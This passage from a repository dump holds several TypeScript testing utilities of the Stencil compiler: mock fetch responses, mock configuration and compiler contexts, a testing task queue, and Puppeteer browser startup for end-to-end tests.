const rsp = new MockResponse(data, {\n      headers: new MockHeaders({\n        'Content-Type': 'text/plain',\n      }),\n    });\n    setMockedResponse(rsp, url, false);\n  },\n\n  response(rsp: MockResponse, url: string) {\n    setMockedResponse(rsp, url, false);\n  },\n\n  reject(rsp: MockResponse, url: string) {\n    setMockedResponse(rsp, url, true);\n  },\n\n  reset: mockFetchReset,\n};\n\nclass MockResponse404 extends MockResponse {\n  override ok = false;\n  override status = 404;\n  override statusText = 'Not Found';\n  constructor() {\n    super('', {\n      headers: new MockHeaders({\n        'Content-Type': 'text/plain',\n      }),\n    });\n  }\n  override async json() {\n    return { status: 404, statusText: 'Not Found' };\n  }\n  override async text() {\n    return 'Not Found';\n  }\n}\n\ninterface MockedResponseData {\n  response: MockResponse;\n  reject: boolean;\n}\n\nconst FETCH_DEFAULT_PATH = '/mock-fetch-data';\n\nexport {\n  MockHeaders,\n  MockRequest,\n  MockRequestInfo,\n  MockRequestInit,\n  MockResponse,\n  MockResponseInit,\n} from '@stencil/core/mock-doc';\n"
  },
  {
    "path": "src/testing/mocks.ts",
    "content": "import { createWorkerContext } from '@stencil/core/compiler';\nimport type * as d from '@stencil/core/internal';\nimport { MockWindow } from '@stencil/core/mock-doc';\nimport { noop } from '@utils';\nimport path from 'path';\n\nimport { createConfigFlags } from '../cli/config-flags';\nimport { BuildContext } from '../compiler/build/build-ctx';\nimport { Cache as CompilerCache } from '../compiler/cache';\nimport { buildEvents } from '../compiler/events';\nimport { createInMemoryFs } from '../compiler/sys/in-memory-fs';\nimport { stubComponentCompilerMeta } from '../compiler/types/tests/ComponentCompilerMeta.stub';\nimport { TestingLogger } from './testing-logger';\nimport { createTestingSystem, TestingSystem } from './testing-sys';\n\nexport const mockComponentMeta = stubComponentCompilerMeta;\n\n/**\n * Creates a mock instance of an internal, validated Stencil configuration object\n * the caller\n * @param overrides a partial implementation of `ValidatedConfig`. Any provided fields will override the defaults\n * provided by this function.\n * @returns the mock Stencil configuration\n */\nexport function mockValidatedConfig(overrides: Partial<d.ValidatedConfig> = {}): d.ValidatedConfig {\n  const baseConfig = mockConfig(overrides);\n  const rootDir = path.resolve('/');\n\n  return {\n    ...baseConfig,\n    buildEs5: false,\n    cacheDir: '.stencil',\n    devMode: true,\n    devServer: {},\n    extras: {},\n    flags: createConfigFlags(),\n    fsNamespace: 'testing',\n    hashFileNames: false,\n    hashedFileNameLength: 8,\n    hydratedFlag: null,\n    logLevel: 'info',\n    logger: mockLogger(),\n    minifyCss: false,\n    minifyJs: false,\n    namespace: 'Testing',\n    outputTargets: baseConfig.outputTargets ?? [],\n    packageJsonFilePath: path.join(rootDir, 'package.json'),\n    rootDir,\n    sourceMap: true,\n    srcDir: '/src',\n    srcIndexHtml: 'src/index.html',\n    suppressReservedPublicNameWarnings: false,\n    sys: createTestingSystem(),\n    testing: {},\n    transformAliasedImportPaths: true,\n    rollupConfig: {\n      inputOptions: {},\n      outputOptions: {},\n    },\n    validatePrimaryPackageOutputTarget: false,\n    ...overrides,\n  };\n}\n\n/**\n * Creates a mock instance of a Stencil configuration entity. The mocked configuration has no guarantees around the\n * types/validity of its data.\n * @param overrides a partial implementation of `UnvalidatedConfig`. Any provided fields will override the defaults\n * provided by this function.\n * @returns the mock Stencil configuration\n */\nexport function mockConfig(overrides: Partial<d.UnvalidatedConfig> = {}): d.UnvalidatedConfig {\n  const rootDir = path.resolve('/');\n\n  let { sys } = overrides;\n  if (!sys) {\n    sys = createTestingSystem();\n  }\n  sys.getCurrentDirectory = () => rootDir;\n\n  return {\n    _isTesting: true,\n    buildAppCore: false,\n    buildDist: true,\n    buildEs5: false,\n    bundles: null,\n    devMode: true,\n    enableCache: false,\n    extras: {},\n    flags: createConfigFlags(),\n    globalScript: null,\n    hashFileNames: false,\n    logger: new TestingLogger(),\n    maxConcurrentWorkers: 0,\n    minifyCss: false,\n    minifyJs: false,\n    namespace: 'Testing',\n    nodeResolve: {\n      // TODO(STENCIL-1107): Remove this field - it's currently overriding Stencil's default options to pass into\n      // the `@rollup/plugin-node-resolve` plugin.\n      customResolveOptions: {},\n    },\n    outputTargets: null,\n    rollupPlugins: {\n      before: [],\n      after: [],\n    },\n    rootDir,\n    sourceMap: true,\n    suppressReservedPublicNameWarnings: false,\n    sys,\n    testing: null,\n    validateTypes: false,\n    ...overrides,\n  };\n}\n\n/**\n * Creates a configuration object used to bootstrap a Stencil task invocation\n *\n * Several fields are intentionally undefined for this entity. While it would be trivial to stub them out, this mock\n * generation function operates under the assumption that entities like loggers and compiler system abstractions will\n * be shared by multiple entities in a test suite, who should provide those entities to this function\n *\n * @param overrides the properties on the default entity to manually override\n * @returns the default configuration initialization object, with any overrides applied\n */\nexport const mockLoadConfigInit = (overrides?: Partial<d.LoadConfigInit>): d.LoadConfigInit => {\n  const defaults: d.LoadConfigInit = {\n    config: {},\n    configPath: undefined,\n    initTsConfig: true,\n    logger: undefined,\n    sys: undefined,\n  };\n\n  return { ...defaults, ...overrides };\n};\n\nexport function mockCompilerCtx(config?: d.ValidatedConfig) {\n  const innerConfig = config || mockValidatedConfig();\n  const compilerCtx: d.CompilerCtx = {\n    version: 1,\n    activeBuildId: 0,\n    activeDirsAdded: [],\n    activeDirsDeleted: [],\n    activeFilesAdded: [],\n    activeFilesDeleted: [],\n    activeFilesUpdated: [],\n    addWatchDir: noop,\n    addWatchFile: noop,\n    cachedGlobalStyle: null,\n    changedFiles: new Set(),\n    changedModules: new Set(),\n    collections: [],\n    compilerOptions: null,\n    cache: null,\n    cssModuleImports: new Map(),\n    events: buildEvents(),\n    fs: null,\n    hasSuccessfulBuild: false,\n    isActivelyBuilding: false,\n    lastBuildResults: null,\n    moduleMap: new Map(),\n    nodeMap: new WeakMap(),\n    reset: noop,\n    resolvedCollections: new Set(),\n    rollupCache: new Map(),\n    rollupCacheHydrate: null,\n    rollupCacheLazy: null,\n    rollupCacheNative: null,\n    styleModeNames: new Set(),\n    worker: createWorkerContext(innerConfig.sys),\n  };\n\n  Object.defineProperty(compilerCtx, 'fs', {\n    get() {\n      if (this._fs == null) {\n        this._fs = createInMemoryFs(innerConfig.sys);\n      }\n      return this._fs;\n    },\n  });\n\n  Object.defineProperty(compilerCtx, 'cache', {\n    get() {\n      if (this._cache == null) {\n        this._cache = mockCache(innerConfig, compilerCtx);\n      }\n      return this._cache;\n    },\n  });\n\n  return compilerCtx;\n}\n\nexport function mockBuildCtx(config?: d.ValidatedConfig, compilerCtx?: d.CompilerCtx): d.BuildCtx {\n  const validatedConfig = config || mockValidatedConfig();\n  const validatedCompilerCtx = compilerCtx || mockCompilerCtx(validatedConfig);\n\n  const buildCtx = new BuildContext(validatedConfig, validatedCompilerCtx);\n  return buildCtx as d.BuildCtx;\n}\n\nfunction mockCache(config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) {\n  config.enableCache = true;\n  const cache = new CompilerCache(config, compilerCtx.fs);\n  cache.initCacheDir();\n  return cache as d.Cache;\n}\n\nexport function mockLogger() {\n  return new TestingLogger();\n}\n\n/**\n * Create a {@link d.CompilerSystem} entity for testing the compiler.\n *\n * This function acts as a thin wrapper around a {@link TestingSystem} entity creation. It exists to provide a logical\n * place in the codebase where we might expect Stencil engineers to reach for when attempting to mock a\n * {@link d.CompilerSystem} base type. Should there prove to be usage of both this function and the one it wraps,\n * reconsider if this wrapper is necessary.\n *\n * @returns a System instance for testing purposes.\n */\nexport function mockCompilerSystem(): TestingSystem {\n  return createTestingSystem();\n}\n\nexport function mockDocument(html: string | null = null) {\n  const win = new MockWindow(html);\n  return win.document as Document;\n}\n\nexport function mockWindow(html?: string) {\n  const win = new MockWindow(html);\n  return win as any as Window;\n}\n\n/**\n * This gives you a mock Module, an interface which is the internal compiler\n * representation of a module. It includes a bunch of information necessary for\n * compilation, this mock basically sets sane defaults for all those values.\n *\n * @param mod is an override module that you can supply to set particular values\n * @returns a module object ready to use in tests!\n */\nexport const mockModule = (mod: Partial<d.Module> = {}): d.Module => ({\n  cmps: [],\n  isExtended: false,\n  isMixin: false,\n  hasExportableMixins: false,\n  coreRuntimeApis: [],\n  outputTargetCoreRuntimeApis: {},\n  collectionName: '',\n  dtsFilePath: '',\n  excludeFromCollection: false,\n  externalImports: [],\n  htmlAttrNames: [],\n  htmlTagNames: [],\n  htmlParts: [],\n  isCollectionDependency: false,\n  isLegacy: false,\n  jsFilePath: '',\n  localImports: [],\n  functionalComponentDeps: [],\n  originalImports: [],\n  originalCollectionComponentPath: '',\n  potentialCmpRefs: [],\n  sourceFilePath: '',\n  staticSourceFile: '',\n  staticSourceFileText: '',\n  sourceMapPath: '',\n  sourceMapFileText: '',\n\n  // build features\n  hasVdomAttribute: false,\n  hasVdomClass: false,\n  hasVdomFunctional: false,\n  hasVdomKey: false,\n  hasVdomListener: false,\n  hasVdomPropOrAttr: false,\n  hasVdomRef: false,\n  hasVdomRender: false,\n  hasVdomStyle: false,\n  hasVdomText: false,\n  hasVdomXlink: false,\n  ...mod,\n});\n"
  },
  {
    "path": "src/testing/platform/index.ts",
    "content": "export { Build } from './testing-build';\nexport { modeResolutionChain, styles } from './testing-constants';\nexport { getHostRef, registerHost, registerInstance } from './testing-host-ref';\nexport { consoleDevError, consoleDevInfo, consoleDevWarn, consoleError, setErrorHandler } from './testing-log';\nexport {\n  isMemberInElement,\n  plt,\n  registerComponents,\n  registerModule,\n  resetPlatform,\n  setPlatformHelpers,\n  setSupportsShadowDom,\n  startAutoApplyChanges,\n  stopAutoApplyChanges,\n  supportsConstructableStylesheets,\n  supportsListenerOptions,\n  supportsMutableAdoptedStyleSheets,\n  supportsShadow,\n} from './testing-platform';\nexport { flushAll, flushLoadModule, flushQueue, loadModule, nextTick, readTask, writeTask } from './testing-task-queue';\nexport { win } from './testing-window';\nexport { Env } from '@app-data';\nexport * from '@runtime';\nexport const setScopedSSR = (scoped?: boolean) => {\n  scopedSSR = scoped;\n};\nexport const needsScopedSSR = () => scopedSSR;\n\nlet scopedSSR = false;\n"
  },
  {
    "path": "src/testing/platform/load-module.ts",
    "content": "export interface QueuedLoadModule {\n  bundleId: any;\n  resolve: Function;\n}\n"
  },
  {
    "path": "src/testing/platform/testing-build.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport const Build: d.UserBuildConditionals = {\n  isDev: true,\n  isBrowser: false,\n  isServer: true,\n  isTesting: true,\n};\n"
  },
  {
    "path": "src/testing/platform/testing-constants.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nimport { QueuedLoadModule } from './load-module';\n\nexport const styles: d.StyleMap = new Map();\nexport const modeResolutionChain: d.ResolutionHandler[] = [];\n\n/**\n * A mapping of custom element tags (e.g. `my-component`) to their constructor\n */\nexport const cstrs = new Map<string, d.ComponentTestingConstructor>();\n/**\n * A collection of callbacks to run on a NodeJS process 'tick'\n */\nexport const queuedTicks: Function[] = [];\nexport const queuedWriteTasks: d.RafCallback[] = [];\nexport const queuedReadTasks: d.RafCallback[] = [];\nexport const moduleLoaded = new Map<string, d.ComponentTestingConstructor>();\nexport const queuedLoadModules: QueuedLoadModule[] = [];\n/**\n * A collection of errors that were detected to surface during the rendering process\n */\nexport const caughtErrors: Error[] = [];\n"
  },
  {
    "path": "src/testing/platform/testing-host-ref.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { createEvent } from '../../runtime/event-emitter';\nimport { EVENT_FLAGS } from '@utils';\n\n/**\n * Retrieve the data structure tracking the component by its runtime reference\n * @param elm the reference to the element\n * @returns the corresponding Stencil reference data structure, or undefined if one cannot be found\n */\nexport const getHostRef = (elm: d.RuntimeRef | undefined): d.HostRef | undefined => {\n  if (elm.__stencil__getHostRef) {\n    return elm.__stencil__getHostRef();\n  }\n\n  return undefined;\n};\n\n/**\n * Add the provided `hostRef` instance to the global {@link hostRefs} map, using the provided `lazyInstance` as a key.\n * @param lazyInstance a Stencil component instance\n * @param hostRef an optional reference to Stencil's tracking data for the component. If none is provided, one will be created.\n * @throws if the provided `lazyInstance` coerces to `null`, or if the `lazyInstance` does not have a `constructor`\n * property\n */\nexport const registerInstance = (lazyInstance: any, hostRef: d.HostRef | null | undefined) => {\n  if (lazyInstance == null || lazyInstance.constructor == null) {\n    throw new Error(`Invalid component constructor`);\n  }\n\n  if (hostRef == null) {\n    const Cstr = lazyInstance.constructor as d.ComponentTestingConstructor;\n    const tagName = Cstr.COMPILER_META && Cstr.COMPILER_META.tagName ? Cstr.COMPILER_META.tagName : 'div';\n    const elm = document.createElement(tagName);\n    registerHost(elm, { $flags$: 0, $tagName$: tagName });\n    hostRef = getHostRef(elm);\n  }\n\n  lazyInstance.__stencil__getHostRef = () => hostRef;\n  hostRef.$lazyInstance$ = lazyInstance;\n\n  // Create EventEmitters for all events from the component and its parent classes/mixins\n  // This is necessary to support events defined in mixins that may not have been included\n  // in the component's compiled constructor\n  const Cstr = lazyInstance.constructor as d.ComponentTestingConstructor;\n\n  // Collect all events from the component and its prototype chain\n  const allEvents: d.ComponentCompilerEvent[] = [];\n  const seenEventMethods = new Set<string>();\n\n  // First, add events from the component's COMPILER_META\n  if (Cstr.COMPILER_META && Cstr.COMPILER_META.events) {\n    Cstr.COMPILER_META.events.forEach((event: d.ComponentCompilerEvent) => {\n      if (!seenEventMethods.has(event.method)) {\n        allEvents.push(event);\n        seenEventMethods.add(event.method);\n      }\n    });\n  }\n\n  // Then, walk the prototype chain to find events from parent classes/mixins\n  let currentProto = Object.getPrototypeOf(Cstr);\n  while (currentProto && currentProto !== Function.prototype && currentProto.name) {\n    // Check if this parent class has a static events getter\n    if (typeof currentProto.events === 'object' && Array.isArray(currentProto.events)) {\n      currentProto.events.forEach((event: d.ComponentCompilerEvent) => {\n        if (!seenEventMethods.has(event.method)) {\n          allEvents.push(event);\n          seenEventMethods.add(event.method);\n        }\n      });\n    }\n    currentProto = Object.getPrototypeOf(currentProto);\n  }\n\n  // Create EventEmitters for all collected events\n  allEvents.forEach((eventMeta: d.ComponentCompilerEvent) => {\n    // Only create the event emitter if it doesn't already exist on the instance\n    // (it might already exist if it was created by the compiled constructor)\n    if (!lazyInstance[eventMeta.method]) {\n      let flags = 0;\n      if (eventMeta.bubbles) flags |= EVENT_FLAGS.Bubbles;\n      if (eventMeta.composed) flags |= EVENT_FLAGS.Composed;\n      if (eventMeta.cancelable) flags |= EVENT_FLAGS.Cancellable;\n\n      lazyInstance[eventMeta.method] = createEvent(lazyInstance, eventMeta.name, flags);\n    }\n  });\n};\n\n/**\n * Create a new {@link d.HostRef} instance to the global {@link hostRefs} map, using the provided `elm` as a key.\n * @param elm an HTMLElement instance associated with the Stencil component\n * @param cmpMeta the component compiler metadata associated with the component\n */\nexport const registerHost = (elm: d.HostElement, cmpMeta: d.ComponentRuntimeMeta): void => {\n  const hostRef: d.HostRef = {\n    $flags$: 0,\n    $hostElement$: elm,\n    $cmpMeta$: cmpMeta,\n    $instanceValues$: new Map(),\n    $serializerValues$: new Map(),\n    $renderCount$: 0,\n  };\n  hostRef.$fetchedCbList$ = [];\n  hostRef.$onInstancePromise$ = new Promise((r) => (hostRef.$onInstanceResolve$ = r));\n  hostRef.$onReadyPromise$ = new Promise((r) => (hostRef.$onReadyResolve$ = r));\n  elm['s-p'] = [];\n  elm['s-rc'] = [];\n  elm.__stencil__getHostRef = () => hostRef;\n};\n"
  },
  {
    "path": "src/testing/platform/testing-log.ts",
    "content": "import type * as d from '../../declarations';\nimport { caughtErrors } from './testing-constants';\n\nlet customError: d.ErrorHandler | undefined;\n\nconst defaultConsoleError = (e: any) => {\n  caughtErrors.push(e);\n};\n\nexport const consoleError: d.ErrorHandler = (e: any, el?: any) => (customError || defaultConsoleError)(e, el);\n\nexport const consoleDevError = (...e: any[]) => {\n  caughtErrors.push(new Error(e.join(', ')));\n};\n\nexport const consoleDevWarn = (...args: any[]) => {\n  // log warnings so we can spy on them when testing\n  const params = args.filter((a) => typeof a === 'string' || typeof a === 'number' || typeof a === 'boolean');\n  console.warn(...params);\n};\n\nexport const consoleDevInfo = (..._: any[]) => {\n  /* noop for testing */\n};\n\nexport const setErrorHandler = (handler: d.ErrorHandler | undefined) => (customError = handler);\n"
  },
  {
    "path": "src/testing/platform/testing-platform.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nimport { cstrs, moduleLoaded, styles } from './testing-constants';\nimport { flushAll, resetTaskQueue } from './testing-task-queue';\nimport { win } from './testing-window';\n\nexport let supportsShadow = true;\n\nexport const plt: d.PlatformRuntime = {\n  $flags$: 0,\n  $resourcesUrl$: '',\n  jmp: (h) => h(),\n  raf: (h) => requestAnimationFrame(h),\n  ael: (el, eventName, listener, opts) => el.addEventListener(eventName, listener, opts),\n  rel: (el, eventName, listener, opts) => el.removeEventListener(eventName, listener, opts),\n  ce: (eventName, opts) => new (win as any).CustomEvent(eventName, opts),\n};\n\nexport const setPlatformHelpers = (helpers: {\n  jmp?: (c: any) => any;\n  raf?: (c: any) => number;\n  ael?: (el: any, eventName: string, listener: any, options: any) => void;\n  rel?: (el: any, eventName: string, listener: any, options: any) => void;\n  ce?: (eventName: string, opts?: any) => any;\n}) => {\n  Object.assign(plt, helpers);\n};\n\nexport const supportsListenerOptions = true;\nexport const supportsConstructableStylesheets = false;\nexport const supportsMutableAdoptedStyleSheets = false;\n\n/**\n * Helper function to programmatically set shadow DOM support in testing scenarios.\n *\n * This function modifies the global {@link supportsShadow} variable.\n *\n * @param supports `true` if shadow DOM is supported, `false` otherwise\n */\nexport const setSupportsShadowDom = (supports: boolean): void => {\n  supportsShadow = supports;\n};\n\n/**\n * Resets global testing variables and collections, so that a new set of tests can be started with a \"clean slate\".\n *\n * It is expected that this function be called between spec tests, and should be automatically configured by Stencil to\n * do so.\n *\n * @param defaults default options for the {@link d.PlatformRuntime} used during testing. The values in this object\n * with be assigned to the global {@link plt} object used during testing.\n */\nexport function resetPlatform(defaults: Partial<d.PlatformRuntime> = {}) {\n  if (win && typeof win.close === 'function') {\n    win.close();\n  }\n\n  styles.clear();\n  plt.$flags$ = 0;\n  Object.assign(plt, defaults);\n\n  if (plt.$orgLocNodes$ != null) {\n    plt.$orgLocNodes$.clear();\n    plt.$orgLocNodes$ = undefined;\n  }\n\n  win.location.href = plt.$resourcesUrl$ = `http://testing.stenciljs.com/`;\n\n  resetTaskQueue();\n  stopAutoApplyChanges();\n\n  cstrs.clear();\n}\n\nlet isAutoApplyingChanges = false;\nlet autoApplyTimer: any = undefined;\n\n/**\n * Cancels the JavaScript task of automatically flushing the render queue & applying DOM changes in tests\n */\nexport function stopAutoApplyChanges(): void {\n  isAutoApplyingChanges = false;\n  if (autoApplyTimer) {\n    clearTimeout(autoApplyTimer);\n    autoApplyTimer = undefined;\n  }\n}\n\n/**\n * Creates a JavaScript task to flush the render pipeline without the user having to do so manually in their tests.\n */\nexport async function startAutoApplyChanges(): Promise<void> {\n  isAutoApplyingChanges = true;\n  flushAll().then(() => {\n    if (isAutoApplyingChanges) {\n      autoApplyTimer = setTimeout(() => {\n        startAutoApplyChanges();\n      }, 100);\n    }\n  });\n}\n\n/**\n * Registers a collection of component constructors with the global {@link cstrs} data structure\n * @param Cstrs the component constructors to register\n */\nexport const registerComponents = (Cstrs: d.ComponentTestingConstructor[]): void => {\n  Cstrs.filter((Cstr) => Cstr.COMPILER_META).forEach((Cstr) => {\n    cstrs.set(Cstr.COMPILER_META.tagName, Cstr);\n  });\n};\n\n/**\n * Add the provided component constructor, `Cstr`, to the {@link moduleLoaded} mapping, using the provided `bundleId`\n * as the key\n * @param bundleId the bundle identifier to use to store/retrieve the component constructor\n * @param Cstr the component constructor to store\n */\nexport function registerModule(bundleId: string, Cstr: d.ComponentTestingConstructor): void {\n  moduleLoaded.set(bundleId, Cstr);\n}\n\nexport const isMemberInElement = (elm: any, memberName: string) => {\n  if (elm != null) {\n    if (memberName in elm) {\n      return true;\n    }\n    const nodeName = elm.nodeName;\n    if (nodeName) {\n      const cstr = cstrs.get(nodeName.toLowerCase());\n      if (cstr != null && cstr.COMPILER_META != null && cstr.COMPILER_META.properties != null) {\n        return cstr.COMPILER_META.properties.some((p) => p.name === memberName);\n      }\n    }\n  }\n  return false;\n};\n"
  },
  {
    "path": "src/testing/platform/testing-task-queue.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nimport { QueuedLoadModule } from './load-module';\nimport {\n  caughtErrors,\n  moduleLoaded,\n  queuedLoadModules,\n  queuedReadTasks,\n  queuedTicks,\n  queuedWriteTasks,\n} from './testing-constants';\n\n/**\n * Reset the various data structures related to the testing rendering pipeline\n */\nexport function resetTaskQueue(): void {\n  queuedTicks.length = 0;\n  queuedWriteTasks.length = 0;\n  queuedReadTasks.length = 0;\n  moduleLoaded.clear();\n  queuedLoadModules.length = 0;\n  caughtErrors.length = 0;\n}\n\n/**\n * Pushes the provided callback onto the {@link queuedTicks} data structure\n * @param cb the callback to add to `queuedTicks`\n */\nexport const nextTick = (cb: Function): void => {\n  queuedTicks.push(cb);\n};\n\n/**\n * Execute the callbacks in {@link queuedTicks} on the next NodeJS tick.\n *\n * Callbacks are invoked in the order that they appear in `queuedTasks` at the time this function is invoked.\n * Async callbacks are not `await`ed.\n *\n * Any callbacks that are added to `queuedTasks` while this function is running are scheduled to be flushed on the\n * next tick.\n */\nexport function flushTicks(): Promise<void> {\n  return new Promise<void>((resolve, reject) => {\n    function drain() {\n      try {\n        if (queuedTicks.length > 0) {\n          const writeTasks = queuedTicks.slice();\n\n          queuedTicks.length = 0;\n\n          let cb: Function;\n          while ((cb = writeTasks.shift())) {\n            cb(Date.now());\n          }\n        }\n\n        if (queuedTicks.length > 0) {\n          process.nextTick(drain);\n        } else {\n          resolve();\n        }\n      } catch (e) {\n        reject(`flushTicks: ${e}`);\n      }\n    }\n\n    process.nextTick(drain);\n  });\n}\n\n/**\n * Push a RequestAnimationFrame callback onto the {@link queuedWriteTasks} data structure\n * @param cb the callback to push onto `queuedWriteTasks`\n */\nexport function writeTask(cb: d.RafCallback): void {\n  queuedWriteTasks.push(cb);\n}\n\n/**\n * Push a RequestAnimationFrame callback onto the {@link queuedReadTasks} data structure\n * @param cb the callback to push onto `queuedReadTasks`\n */\nexport function readTask(cb: d.RafCallback): void {\n  queuedReadTasks.push(cb);\n}\n\n/**\n * Flush the {@link queuedReadTasks} and {@link queuedWriteTasks} data structures on the next NodeJS process tick.\n *\n * The read task queue is drained first, followed by the write task queue.\n * For each queue:\n * - Each task is processed in the order it is found in its respective data structure at the time `queuedReadTasks` and\n * `queuedWriteTasks` are read (note: these queues are not read at the same time).\n * - When a task queue is processed, it is marked as empty before acting on the entries in the queue.\n * - Items added to either queue after it has been read for processing will be handled on the subsequent tick.\n * - Async items will be `await`ed\n */\nexport function flushQueue(): Promise<void> {\n  return new Promise<void>((resolve, reject) => {\n    async function drain() {\n      try {\n        if (queuedReadTasks.length > 0) {\n          const readTasks = queuedReadTasks.slice();\n\n          queuedReadTasks.length = 0;\n\n          let cb: Function;\n          while ((cb = readTasks.shift())) {\n            const result = cb(Date.now());\n            if (result != null && typeof result.then === 'function') {\n              await result;\n            }\n          }\n        }\n\n        if (queuedWriteTasks.length > 0) {\n          const writeTasks = queuedWriteTasks.slice();\n\n          queuedWriteTasks.length = 0;\n\n          let cb: Function;\n          while ((cb = writeTasks.shift())) {\n            const result = cb(Date.now());\n            if (result != null && typeof result.then === 'function') {\n              await result;\n            }\n          }\n        }\n\n        if (queuedReadTasks.length + queuedWriteTasks.length > 0) {\n          process.nextTick(drain);\n        } else {\n          resolve();\n        }\n      } catch (e) {\n        reject(`flushQueue: ${e}`);\n      }\n    }\n\n    process.nextTick(drain);\n  });\n}\n\nexport async function flushAll(): Promise<void> {\n  while (queuedTicks.length + queuedLoadModules.length + queuedWriteTasks.length + queuedReadTasks.length > 0) {\n    await flushTicks();\n    await flushLoadModule();\n    await flushQueue();\n  }\n  if (caughtErrors.length > 0) {\n    const err = caughtErrors[0];\n    if (err == null) {\n      throw new Error('Error!');\n    }\n    if (typeof err === 'string') {\n      throw new Error(err);\n    }\n    throw err;\n  }\n  return new Promise<void>((resolve) => process.nextTick(resolve));\n}\n\n/**\n * Add a component module to the global {@link queuedLoadModules} data structure\n * @param cmpMeta the component compiler metadata of the component to eventually load\n * @param _hostRef an unused parameter for a Stencil HostRef instance\n * @param _hmrVersionId an unused parameter denoting the current hot-module reloading version\n * @returns A promise that loads the component onto `queuedLoadModules`\n */\nexport function loadModule(cmpMeta: d.ComponentRuntimeMeta, _hostRef: d.HostRef, _hmrVersionId?: string): Promise<any> {\n  return new Promise<any>((resolve) => {\n    queuedLoadModules.push({\n      bundleId: cmpMeta.$lazyBundleId$,\n      resolve: () => resolve(moduleLoaded.get(cmpMeta.$lazyBundleId$)),\n    });\n  });\n}\n\nexport function flushLoadModule(bundleId?: string): Promise<void> {\n  return new Promise<void>((resolve, reject) => {\n    try {\n      process.nextTick(() => {\n        if (bundleId != null) {\n          for (let i = 0; i < queuedLoadModules.length; i++) {\n            if (queuedLoadModules[i].bundleId === bundleId) {\n              queuedLoadModules[i].resolve();\n              queuedLoadModules.splice(i, 1);\n              i--;\n            }\n          }\n        } else {\n          let queuedLoadModule: QueuedLoadModule;\n          while ((queuedLoadModule = queuedLoadModules.shift())) {\n            queuedLoadModule.resolve();\n          }\n        }\n\n        resolve();\n      });\n    } catch (e) {\n      reject(`flushLoadModule: ${e}`);\n    }\n  });\n}\n"
  },
  {
    "path": "src/testing/platform/testing-window.ts",
    "content": "import { setupGlobal } from '@stencil/core/mock-doc';\n\nexport const win = setupGlobal(global) as Window;\n"
  },
  {
    "path": "src/testing/puppeteer/index.ts",
    "content": "export type { E2EElement, E2EPage } from './puppeteer-declarations';\nexport { newE2EPage } from './puppeteer-page';\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-browser.ts",
    "content": "import * as d from '@stencil/core/declarations';\nimport type { E2EProcessEnv, ValidatedConfig } from '@stencil/core/internal';\nimport type { Browser, connect, ConnectOptions, executablePath, launch, LaunchOptions } from 'puppeteer';\nimport semverMajor from 'semver/functions/major';\n\nexport async function startPuppeteerBrowser(config: ValidatedConfig) {\n  if (!config.flags.e2e) {\n    return null;\n  }\n\n  // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n  const env: E2EProcessEnv = process.env as E2EProcessEnv;\n  const puppeteerDep = config.testing.browserExecutablePath ? 'puppeteer-core' : 'puppeteer';\n\n  const puppeteerModulePath = config.sys.lazyRequire.getModulePath(config.rootDir, puppeteerDep);\n  const puppeteerPackageJsonPath = config.sys.platformPath.join(puppeteerModulePath, 'package.json');\n  const puppeteer = config.sys.lazyRequire.require(config.rootDir, puppeteerModulePath);\n  env.__STENCIL_PUPPETEER_MODULE__ = puppeteerModulePath;\n\n  try {\n    const puppeteerManifest = config.sys.readFileSync(puppeteerPackageJsonPath, 'utf8');\n    const puppeteerPkgJson: d.PackageJsonData = JSON.parse(puppeteerManifest);\n    env.__STENCIL_PUPPETEER_VERSION__ = semverMajor(puppeteerPkgJson.version);\n  } catch (e: unknown) {\n    console.error(`An error occurred determining the version of Puppeteer installed:\\n${e}`);\n    env.__STENCIL_PUPPETEER_VERSION__ = undefined;\n  }\n\n  env.__STENCIL_BROWSER_WAIT_UNTIL = config.testing.browserWaitUntil;\n\n  if (config.flags.devtools) {\n    env.__STENCIL_E2E_DEVTOOLS__ = 'true';\n  }\n\n  config.logger.debug(`puppeteer: ${puppeteerModulePath}`);\n  config.logger.debug(`puppeteer headless: ${config.testing.browserHeadless}`);\n\n  if (Array.isArray(config.testing.browserArgs)) {\n    config.logger.debug(`puppeteer args: ${config.testing.browserArgs.join(' ')}`);\n  }\n\n  if (typeof config.testing.browserDevtools === 'boolean') {\n    config.logger.debug(`puppeteer devtools: ${config.testing.browserDevtools}`);\n  }\n\n  if (typeof config.testing.browserSlowMo === 'number') {\n    config.logger.debug(`puppeteer slowMo: ${config.testing.browserSlowMo}`);\n  }\n\n  // connection options will be used regardless whether a new browser instance is created or we attach to a\n  // pre-existing instance\n  const connectOpts: ConnectOptions = {\n    slowMo: config.testing.browserSlowMo,\n  };\n\n  let browser: Browser;\n  if (config.testing.browserWSEndpoint) {\n    browser = await (puppeteer.connect as typeof connect)({\n      browserWSEndpoint: config.testing.browserWSEndpoint,\n      ...connectOpts,\n    });\n  } else {\n    const launchOpts: LaunchOptions & ConnectOptions = {\n      args: config.testing.browserArgs,\n      channel: config.testing.browserChannel,\n      headless: config.testing.browserHeadless,\n      devtools: config.testing.browserDevtools,\n      ...connectOpts,\n    };\n    try {\n      // puppeteer >= 23\n      launchOpts.executablePath =\n        process.env.PUPPETEER_EXECUTABLE_PATH ||\n        process.env.CHROME_PATH ||\n        (puppeteer.executablePath as typeof executablePath)(launchOpts);\n    } catch (_) {\n      // puppeteer <= 22\n      launchOpts.executablePath = puppeteer.executablePath(launchOpts.channel);\n    }\n    browser = await (puppeteer.launch as typeof launch)({ ...launchOpts });\n  }\n\n  env.__STENCIL_BROWSER_WS_ENDPOINT__ = browser.wsEndpoint();\n\n  config.logger.debug(`puppeteer browser wsEndpoint: ${env.__STENCIL_BROWSER_WS_ENDPOINT__}`);\n\n  return browser;\n}\n\nexport async function connectBrowser() {\n  // the reason we're connecting to the browser from\n  // a web socket is because jest probably has us\n  // in a different thread, this is also why this\n  // uses process.env for data\n  //\n  // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n  const env: E2EProcessEnv = process.env as E2EProcessEnv;\n\n  const wsEndpoint = env.__STENCIL_BROWSER_WS_ENDPOINT__;\n  if (!wsEndpoint) {\n    return null;\n  }\n\n  const connectOpts: ConnectOptions = {\n    browserWSEndpoint: wsEndpoint,\n  };\n\n  const puppeteer = 